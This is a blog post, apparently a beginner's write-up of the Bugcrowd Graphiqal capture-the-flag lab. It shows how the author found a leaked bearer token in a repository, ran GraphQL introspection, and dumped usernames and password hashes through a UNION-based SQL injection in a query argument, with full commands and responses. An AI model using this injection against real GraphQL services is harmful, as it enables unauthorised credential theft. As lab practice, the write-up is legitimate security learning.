~dustin hello now writing thoughts feeds mastodon
..

2020 Bugcrowd Graphiqal CTF Write-up

2020.07.21

UPDATE 2021.04.13 It seems Bugcrowd has taken down this CTF, so the links will not work any longer. I will leave them as they were, as I don't have anything better to change them to.

I have been interested in appsec for a long time, but never really took the time to study it or to practice it. I have recently started focusing my time on it, and decided to try my hand at Bugcrowd's beginner CTF, Graphiqal.

  1. Scoping out the landscape
  2. Flag #1
  3. Flag #2
  4. Flag #3
  5. Takeaways

Scoping out the landscape

The first thing I did was manually scope out the site, to see what was there. I found the following:

Flag #1

I manually browsed the source code in the repository, as there wasn't much. Eventually I found this commit which contained the first flag: FLAG{9e233d7662f4fe8f0e6eaee08b1e1dd8}.

In hindsight I realized a more efficient use of my time would have been to download each of the repositories and run ack "FLAG" which also would have given me this flag.

Flag #2

After finding that one fairly quickly I decided to take a look at graphql since it was mentioned on the /api page.

A common endpoint for graphql is /graphql. I made a request to that and received the following response:

$ http http://164.90.156.83/graphql
HTTP/1.1 401 Unauthorized

Missing Bearer Token

Since I needed a bearer token, I decided to search through the repositories again to see if I could find a secret I could use to generate a token. I then stumbled upon a cleartext token. Even better.

I made a request, passing the token as a header and got a response letting me know it worked:

$ http http://164.90.156.83/graphql "Authorization:Bearer fae43547e79c6a5b6cf7ebc39f4d014d"
HTTP/1.1 400 Bad Request

{
"errors": [
{
"message": "Must provide query string."
}
]
}

Since I was now able to make graphql requests, I searched for a query that I could use to get a list of all the available graphtypes. I found this stackoverflow question which provided an introspection query to get the schema information. After some trial and error I ended up with this request:

$ http http://164.90.156.83/graphql "Authorization:Bearer fae43547e79c6a5b6cf7ebc39f4d014d" "query=query IntrospectionQuery {__schema{queryType{name}types{name fields(includeDeprecated: true) { name description isDeprecated deprecationReason }}}}"
HTTP/1.1 200 OK

{
"data": {
"__schema": {
"types": [
...
{
"fields": [
{
"deprecationReason": null,
"description": null,
"isDeprecated": false,
"name": "id"
},
{
"deprecationReason": null,
"description": null,
"isDeprecated": false,
"name": "name"
},
{
"deprecationReason": null,
"description": null,
"isDeprecated": false,
"name": "artist"
},
{
"deprecationReason": null,
"description": null,
"isDeprecated": false,
"name": "genre"
},
{
"deprecationReason": null,
"description": null,
"isDeprecated": false,
"name": "price"
}
],
"name": "Paintings"
},
...
]
...
}
}
}

It seemed the only graphtype I could use was Paintings so I made a request to fetch all of those:

$ http http://164.90.156.83/graphql "Authorization:Bearer fae43547e79c6a5b6cf7ebc39f4d014d" "query=query IntrospectionQuery {paintings{id name genre artist price}}"
HTTP/1.1 200 OK

{
"data": {
"paintings": [
{
"artist": "Montgomery Butler",
"genre": "Contemporary",
"id": "1",
"name": "Harmony Sky",
"price": 27890.21
},
{
"artist": "Jem Salton",
"genre": "Realism",
"id": "2",
"name": "Night Paradise",
"price": 12783.99
},
{
"artist": "Gregory Mosley",
"genre": "Realism",
"id": "3",
"name": "Virtue of Cluster",
"price": 8821.98
},
{
"artist": "Zunairah Milner",
"genre": "Cubism",
"id": "4",
"name": "Cubex",
"price": 17829.42
},
{
"artist": "Kaelan Beck",
"genre": "Abstract",
"id": "5",
"name": "Relinquished Lifestyle",
"price": 13212.11
},
{
"artist": "FLAG{b5c009704caf8d0575cbc801a97ae49b}",
"genre": "Realism",
"id": "6",
"name": "Drapeau",
"price": 1337.37
},
{
"artist": "Hadi Mene",
"genre": "Realism",
"id": "7",
"name": "Labs of the Wizard",
"price": 76213.81
},
{
"artist": "Samiha Schofield",
"genre": "GFX",
"id": "8",
"name": "Wound of Philosophy",
"price": 14273.22
},
{
"artist": "Ernest Benton",
"genre": "Abstract",
"id": "9",
"name": "Majestueuse Sky",
"price": 100000.47
},
{
"artist": "Roxie Bannister",
"genre": "Cubism",
"id": "10",
"name": "Arrive Abandonn",
"price": 3200000.38
}
]
}
}

And there we have it, flag #2: FLAG{b5c009704caf8d0575cbc801a97ae49b}

Flag #3

This one gave me a lot of troubles. I didn't know where to start, as I had exhausted all of the ideas I had from my initial investigation of the landscape. I poked around more in the repositories trying to find any sort of credentials I could use. There were some local SQL credentials, however port 3306 was not open on the server.

I had no idea how much more difficult this flag would be, and ended up going down the wrong path. I had decided there may be a documented vulnerability with the version of gogs they were running. I tried many different POCs for vulnerabilities related to gogs, all with no luck. I even tried using a script called gogsownz. Nothing was working.

I was certain I was on the right track, because there was a reference to a file in the repo: /tmp/testing/pwned777.txt, I figured I needed to use a Path Traversal attack to find out what was in that file.

After a lot of effort I went into the Bugcrowd Discord and asked how much more difficult the third flag was from the second. While looking in there I also noticed someone said there wasn't any vulnerable software, as far as they knew, so that would indicate that this was the wrong path to be going down.

There was then a hint posted

mqt: think of from where the API is pulling the data and what vulnerabilities can arise from this

I was then thinking about how I saw those SQL credentials, and how graphql would use some sort of database technology. I then started researching how to do SQL Injection via graphql queries. It turned out that I could use the painting request where you pass an ID to get a single painting, and inject some SQL into it. This ended up working, and after some playing around I came up with this query:

$ http http://164.90.156.83/graphql "Authorization:Bearer fae43547e79c6a5b6cf7ebc39f4d014d" "query=query IntrospectionQuery {painting(id:\"' UNION SELECT id, GROUP_CONCAT(password),GROUP_CONCAT(username),null,null FROM users #\"){id name artist}}"
HTTP/1.1 200 OK

{
"data": {
"painting": {
"artist": "maxim,hadi,FLAG",
"id": "1",
"name": "29d79648ac14a5d8d0268867bd3161c6,bc8a5e6ccfb6c15b61d6d218c2df6cca,FLAG{2f55138f7dce2e3e852f1c8a487b33f9}"
}
}
}

There it was, the third flag as a password of the user FLAG: FLAG{2f55138f7dce2e3e852f1c8a487b33f9

Takeaways

This CTF provided multiple attack vectors that should be considered when writing software:

Flag 1

Flag 2

Flag 3

Final notes

While I started going in the wrong direction, and I ended up using a hint, overall I consider this a success and I had a ton of fun participating. I'm going to continue to try my hand at other challenges. Thanks for reading!